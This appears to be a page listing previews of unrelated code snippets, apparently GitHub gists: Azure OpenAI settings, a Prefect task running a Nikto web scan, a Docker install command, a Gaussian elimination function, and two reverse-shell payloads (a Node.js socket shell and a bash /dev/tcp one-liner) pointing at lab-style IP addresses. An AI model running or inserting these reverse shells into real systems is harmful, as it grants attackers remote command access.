This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
# Set environment variables for API keys and endpoints | |
os.environ["OPENAI_API_TYPE"] = "azure" | |
os.environ["OPENAI_API_VERSION"] = "2024-02-15-preview" | |
os.environ["OPENAI_API_KEY"] = "" | |
os.environ["AZURE_OPENAI_ENDPOINT"] = "" | |
os.environ["SERPER_API_KEY"] = "" | |
# Import necessary libraries |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from prefect import flow, task | |
import subprocess | |
@task | |
def run_nikto_scan(target): | |
# Nikto web server scanner | |
command = ["nikto", "-h", target] | |
result = subprocess.run(command, capture_output=True, text=True) | |
return result.stdout |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python3 -c "import os,binascii; f=open('random-string-file.txt', 'a+'); f.write(binascii.hexlify(os.urandom(32)).decode()); f.close()" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apt-get update && apt-get install \ | |
apt-transport-https \ | |
ca-certificates \ | |
curl \ | |
gnupg-agent \ | |
software-properties-common && curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - && sudo apt-key fingerprint 0EBFCD88 && sudo add-apt-repository \ | |
"deb [arch=amd64] https://download.docker.com/linux/ubuntu \ | |
$(lsb_release -cs) \ | |
stable" && apt-get update && apt-get install docker-ce docker-ce-cli containerd.io && curl -L "https://github.com/docker/compose/releases/download/1.25.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose && chmod +x /usr/local/bin/docker-compose && ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(){ | |
var net = require("net"), | |
cp = require("child_process"), | |
sh = cp.spawn("/bin/sh", []); | |
var client = new net.Socket(); | |
client.connect(1337, "10.10.12.152", function(){ | |
client.pipe(sh.stdin); | |
sh.stdout.pipe(client); | |
sh.stderr.pipe(client); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.241/12344 0>&1' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
def GEPP(A, b, doPricing = True): | |
''' | |
Gaussian elimination with partial pivoting. | |
input: A is an n x n numpy matrix | |
b is an n x 1 numpy array | |
output: x is the solution of Ax=b | |
with the entries permuted in |